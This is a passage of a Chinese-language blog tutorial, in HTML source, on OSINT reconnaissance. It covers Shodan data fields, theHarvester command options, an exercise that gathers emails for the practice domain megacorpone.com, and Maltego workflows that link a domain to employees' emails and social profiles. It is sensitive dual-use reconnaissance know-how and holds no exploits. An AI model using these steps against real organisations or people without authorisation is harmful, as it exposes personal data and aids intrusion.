 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.subject&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书主题&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.issuer&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书颁发机构&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.expired&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;是否过期 (true/false)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.validity.start&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书有效期开始&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cert.validity.end&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;证书有效期结束&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.cipher.version&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;SSL/TLS 版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ssl.jarm&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;JARM 指纹&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="漏洞与安全字段"&gt;&lt;strong&gt;漏洞与安全字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;vulns&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;漏洞列表 (CVE IDs)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;opts.vulns&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;漏洞详情 (需企业权限)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;cpe&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;CPE 标识符列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan.ptr&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;PTR 记录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="特殊字段"&gt;&lt;strong&gt;特殊字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;banner&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;原始 banner 信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;data&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;完整响应数据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;timestamp&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;扫描时间戳 (ISO 格式)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;_shodan.id&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;Shodan 扫描 ID&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;_shodan.module&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;使用的扫描模块&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="使用技巧"&gt;&lt;strong&gt;使用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;嵌套字段访问&lt;/strong&gt;：使用点号访问嵌套属性&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan parse --fields &amp;#34;ip_str,port,location.country_code&amp;#34; data.json.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;查看所有字段&lt;/strong&gt;：提取一条完整记录检查可用字段&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan parse data.json.gz | head -n 1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组合关键字段&lt;/strong&gt;：常用组合示例&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# IP + 端口 + 国家 + 组织 + 产品
shodan parse --fields &amp;#34;ip_str,port,location.country_code,org,product&amp;#34; data.json.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;提示&lt;/strong&gt;：字段可用性取决于扫描类型和服务类型（HTTP/SSH/FTP 等）。使用 &lt;code&gt;shodan host &amp;lt;IP&amp;gt;&lt;/code&gt; 命令可查看某 IP 的完整字段结构。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="security-headers-scanner-安全标题扫描器"&gt;Security Headers Scanner 安全标题扫描器
&lt;/h2&gt;&lt;p&gt;网址：https://securityheaders.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530122751544" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530122751544.png"&gt;&lt;/p&gt;
&lt;h2 id="ssl-server-ssl服务测试"&gt;SSL Server SSL服务测试
&lt;/h2&gt;&lt;p&gt;网址：https://www.ssllabs.com/ssltest/analyze.html&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.ssllabs.com/ssltest/" target="_blank" rel="noopener"
 &gt;https://www.ssllabs.com/ssltest/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530123157583" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530123157583.png"&gt;&lt;/p&gt;
&lt;h2 id="pastebin存储和共享文本的网站"&gt;Pastebin存储和共享文本的网站。
&lt;/h2&gt;&lt;p&gt;网址：https://pastebin.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530123742777" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530123742777.png"&gt;&lt;/p&gt;
&lt;h2 id="stack-overflow国外代码问答网站"&gt;stack overflow国外代码问答网站
&lt;/h2&gt;&lt;p&gt;网址：https://stackoverflow.com/questions&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530124026005" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530124026005.png"&gt;&lt;/p&gt;
&lt;h2 id="theharvester-用户信息收集"&gt;theharvester 用户信息收集
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;theHarvester&lt;/code&gt; 是一款强大的开源情报（OSINT）收集工具，用于从公开来源挖掘目标信息（如域名、邮箱、IP、子域名等）。以下是其核心用法详解：&lt;/p&gt;
&lt;h3 id="基础语法"&gt;&lt;strong&gt;基础语法&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;theHarvester -d &amp;lt;domain&amp;gt; [选项]
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-d&lt;/code&gt; / &lt;code&gt;--domain&lt;/code&gt;&lt;/strong&gt;：目标域名（必需参数）
示例：&lt;code&gt;theHarvester -d example.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="核心功能选项"&gt;&lt;strong&gt;核心功能选项&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-指定数据源关键选项"&gt;&lt;strong&gt;1. 指定数据源（关键选项）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-b, --source &amp;lt;数据源&amp;gt; # 指定搜索源（默认：baidu,bing,duckduckgo,google）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;常用数据源&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;google&lt;/code&gt;：Google 搜索&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bing&lt;/code&gt;：Bing 搜索&lt;/li&gt;
&lt;li&gt;&lt;code&gt;linkedin&lt;/code&gt;：LinkedIn 员工信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;twitter&lt;/code&gt;：Twitter 相关账号&lt;/li&gt;
&lt;li&gt;&lt;code&gt;shodan&lt;/code&gt;：Shodan IP/服务扫描&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dnsdumpster&lt;/code&gt;：DNS 子域名挖掘&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certspotter&lt;/code&gt;：SSL 证书信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;github&lt;/code&gt;：GitHub 代码泄露&lt;/li&gt;
&lt;li&gt;完整列表：&lt;code&gt;all&lt;/code&gt;（使用全部可用源）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 使用 Google 和 DNSdumpster 搜索
theHarvester -d example.com -b google,dnsdumpster

# 使用全部数据源
theHarvester -d example.com -b all
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-限制结果数量"&gt;&lt;strong&gt;2. 限制结果数量&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-l, --limit &amp;lt;数量&amp;gt; # 限制每个数据源返回结果数（默认：500）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;示例：&lt;code&gt;theHarvester -d example.com -l 100&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="3-主动扫描扩展"&gt;&lt;strong&gt;3. 主动扫描扩展&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-s, --scrape # 抓取网站提取额外邮箱（可能触发反爬）
-v, --virtual-host # 验证虚拟主机（检查IP是否托管多域名）
-n, --dns-lookup # 对发现的域名执行DNS解析
-c, --shodan # 使用Shodan API扫描发现的IP（需API密钥）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;theHarvester -d example.com -b all -s -n -c
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-输出控制"&gt;&lt;strong&gt;4. 输出控制&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-f, --filename &amp;lt;文件&amp;gt; # 结果保存到文件（默认：results/&amp;lt;domain&amp;gt;.html/.xml）
--filename # 仅控制文件名前缀（自动追加格式后缀）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 保存为JSON格式
theHarvester -d example.com -f results.json -b google
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="高级用法-1"&gt;&lt;strong&gt;高级用法&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-代理配置绕过封锁"&gt;&lt;strong&gt;1. 代理配置（绕过封锁）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;--proxy # 使用代理（需在配置文件中设置代理服务器）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;配置文件路径：&lt;code&gt;/etc/theHarvester/proxies.yaml&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="2-api密钥配置"&gt;&lt;strong&gt;2. API密钥配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;部分数据源（如Shodan、GitHub）需API密钥：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;编辑配置文件：&lt;code&gt;/etc/theHarvester/api-keys.yaml&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;添加密钥（示例）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan: YOUR_SHODAN_API_KEY
github: YOUR_GITHUB_TOKEN
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="3-组合实战示例"&gt;&lt;strong&gt;3. 组合实战示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：全面收集企业信息并验证服务&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;theHarvester -d example.com \
 -b google,dnsdumpster,linkedin,shodan \ # 指定核心数据源
 -l 200 \ # 限制结果量
 -s -n -v -c \ # 启用主动验证
 -f full_report # 输出到文件
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="输出结果解读"&gt;&lt;strong&gt;输出结果解读&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;工具输出包含以下关键信息：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hosts (IP地址)&lt;/strong&gt;：发现的服务器IP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Emails&lt;/strong&gt;：关联邮箱（含来源）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subdomains&lt;/strong&gt;：子域名列表&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual Hosts&lt;/strong&gt;：共享IP的域名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shodan Data&lt;/strong&gt;：开放端口/服务详情（需&lt;code&gt;-c&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关联人员&lt;/strong&gt;（LinkedIn/Twitter来源）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="注意事项-2"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;法律合规&lt;/strong&gt;：仅用于授权测试，避免滥用&lt;/li&gt;
&lt;li&gt;速率限制：搜索引擎会封禁高频请求，建议：
&lt;ul&gt;
&lt;li&gt;限制结果数（&lt;code&gt;-l 100&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;使用代理（&lt;code&gt;--proxy&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;避免频繁执行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API密钥&lt;/strong&gt;：Shodan/GitHub等源需配置密钥才能生效&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 提示：使用 &lt;code&gt;theHarvester -h&lt;/code&gt; 查看完整帮助文档，获取最新数据源列表和选项说明。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="练习题"&gt;&lt;em&gt;练习题&lt;/em&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用TheHarvester枚举megacorpone.com的电子邮件地址。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;theHarvester -d megacorpone.com -b bing
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;emailharvester -d megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;proxychains emailharvester -d megacorpone.com &lt;span class="c1"&gt;# 带代理查找&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530130148982" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530130148982.png"&gt;&lt;/p&gt;
&lt;h2 id="social-media-tools-社交媒体信息收集工具"&gt;Social Media Tools 社交媒体信息收集工具
&lt;/h2&gt;&lt;p&gt;网址：https://www.social-searcher.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530131135085" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530131135085.png"&gt;&lt;/p&gt;
&lt;h2 id="基于特定网站的搜索工具"&gt;基于特定网站的搜索工具
&lt;/h2&gt;&lt;p&gt;Twiter &lt;a class="link" href="https://digi.ninja/projects/twofi.php" target="_blank" rel="noopener"
 &gt;https://digi.ninja/projects/twofi.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;LinkedIn &lt;a class="link" href="https://github.com/initstring/linkedin2username" target="_blank" rel="noopener"
 &gt;https://github.com/initstring/linkedin2username&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以自行再github上搜索相关工具。&lt;/p&gt;
&lt;h2 id="osint-framework-开源情报框架"&gt;&lt;em&gt;OSINT Framework&lt;/em&gt; 开源情报框架
&lt;/h2&gt;&lt;p&gt;网址：https://osintframework.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530131723791" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530131723791.png"&gt;&lt;/p&gt;
&lt;p&gt;介绍了一些国外常用的收集信息的工具和网站，基于该框架搜索和收集信息&lt;/p&gt;
&lt;h2 id="maltego"&gt;&lt;em&gt;Maltego&lt;/em&gt;
&lt;/h2&gt;&lt;p&gt;网址：http://www.paterva.com/buy/maltego-clients.php&lt;/p&gt;
&lt;p&gt;安装后免费注册一个账号即可使用&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530132054290" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530132054290.png"&gt;&lt;/p&gt;
&lt;p&gt;Maltego 是一款强大的开源情报（OSINT）和网络关系可视化工具，用于信息收集、关联分析和数据取证。以下是详细使用指南：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530133818690" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530133818690.png"&gt;&lt;/p&gt;
&lt;h3 id="一核心概念"&gt;&lt;strong&gt;一、核心概念&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;实体（Entities）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基本数据单元（如 Domain, IP, Person, Email, Phone 等）&lt;/li&gt;
&lt;li&gt;右键可执行操作（Transforms）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;变换（Transforms）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对实体执行的操作（如查找关联域名、邮箱、IP等）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;图谱（Graph）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可视化展示实体间的关系网络&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="二基础工作流程"&gt;&lt;strong&gt;二、基础工作流程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="步骤1创建新项目"&gt;&lt;strong&gt;步骤1：创建新项目&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;启动 Maltego → &lt;code&gt;New&lt;/code&gt; → &lt;code&gt;Graph&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;命名项目（如 &lt;code&gt;megacorp_investigation&lt;/code&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="步骤2添加起始实体"&gt;&lt;strong&gt;步骤2：添加起始实体&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;左侧面板选择实体类型（如 &lt;code&gt;Domain&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拖拽到工作区 → 双击输入目标（如 &lt;code&gt;megacorpone.com&lt;/code&gt;）&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[Domain: megacorpone.com] --&gt; B[Run Transforms]&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530141551542" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530141551542.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530141745165" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530141745165.png"&gt;&lt;/p&gt;
&lt;h4 id="步骤3执行变换transforms"&gt;&lt;strong&gt;步骤3：执行变换（Transforms）&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;右键实体 →&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Run Transform
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;→ 选择模块&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;常用变换：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;To DNS from domain&lt;/code&gt;（解析DNS记录）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;To Website from Domain&lt;/code&gt;（查找网站）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;To Email addresses&lt;/code&gt;（挖掘邮箱）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;To IP addresses&lt;/code&gt;（解析IP）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530142019027" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530142019027.png"&gt;&lt;/p&gt;
&lt;h4 id="步骤4扩展分析"&gt;&lt;strong&gt;步骤4：扩展分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对新生成的实体重复步骤3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;示例路径：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Domain → IP → Netblock → Other domains
 ↓
 Email → Person → Social profiles
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="三实战案例调查公司资产"&gt;&lt;strong&gt;三、实战案例：调查公司资产&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：挖掘 &lt;code&gt;megacorpone.com&lt;/code&gt; 相关资产和人员&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;起始点&lt;/strong&gt;：添加 &lt;code&gt;Domain&lt;/code&gt; 实体 → &lt;code&gt;megacorpone.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行变换：&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
A[Domain] --&gt; B[To DNS names]
A --&gt; C[To IP addresses]
A --&gt; D[To Email addresses]
B --&gt; E[Subdomains]
C --&gt; F[Server IPs]
D --&gt; G[Employee emails]&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;深度挖掘：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对IP运行 &lt;code&gt;To Netblock&lt;/code&gt; → 发现同网段其他服务器&lt;/li&gt;
&lt;li&gt;对邮箱运行 &lt;code&gt;To Person&lt;/code&gt; → 关联LinkedIn资料&lt;/li&gt;
&lt;li&gt;对人员运行 &lt;code&gt;To Social Networks&lt;/code&gt; → 发现社交媒体账号&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250530143313981" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530143313981.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="四高级技巧"&gt;&lt;strong&gt;四、高级技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-自定义变换组合"&gt;1. &lt;strong&gt;自定义变换组合&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;创建&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Machines
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;（自动化工作流）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Machines&lt;/code&gt; → &lt;code&gt;Create new Machine&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;拖拽实体和变换构建流程&lt;/li&gt;
&lt;li&gt;示例：自动完成 &lt;code&gt;Domain → IP → Port Scan → Services&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-数据源集成"&gt;2. &lt;strong&gt;数据源集成&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;安装Transform Hub模块：
&lt;ul&gt;
&lt;li&gt;Shodan（IP扫描）&lt;/li&gt;
&lt;li&gt;Hunter.io（邮箱挖掘）&lt;/li&gt;
&lt;li&gt;VirusTotal（威胁情报）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;配置API密钥：&lt;code&gt;Transforms&lt;/code&gt; → &lt;code&gt;Transform Hub&lt;/code&gt; → 激活服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250530143645266" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530143645266.png"&gt;&lt;/p&gt;
&lt;h4 id="3-可视化优化"&gt;3. &lt;strong&gt;可视化优化&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;颜色标记：右键实体 → &lt;code&gt;Change Color&lt;/code&gt;（如红色标记高危IP）&lt;/li&gt;
&lt;li&gt;关系线调整：拖动连线调整路径&lt;/li&gt;
&lt;li&gt;布局优化：&lt;code&gt;Layout&lt;/code&gt; → &lt;code&gt;Organic&lt;/code&gt; / &lt;code&gt;Hierarchical&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-数据导出"&gt;4. &lt;strong&gt;数据导出&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;导出图谱：&lt;code&gt;Export&lt;/code&gt; → PNG/PDF/SVG&lt;/li&gt;
&lt;li&gt;导出数据：&lt;code&gt;Export&lt;/code&gt; → CSV/GraphML&lt;/li&gt;
&lt;li&gt;生成报告：&lt;code&gt;Reporting&lt;/code&gt; → &lt;code&gt;Create Report&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="五常用变换模块"&gt;&lt;strong&gt;五、常用变换模块&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;变换名称&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;th&gt;适用实体&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To DNS from domain&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;解析子域名&lt;/td&gt;
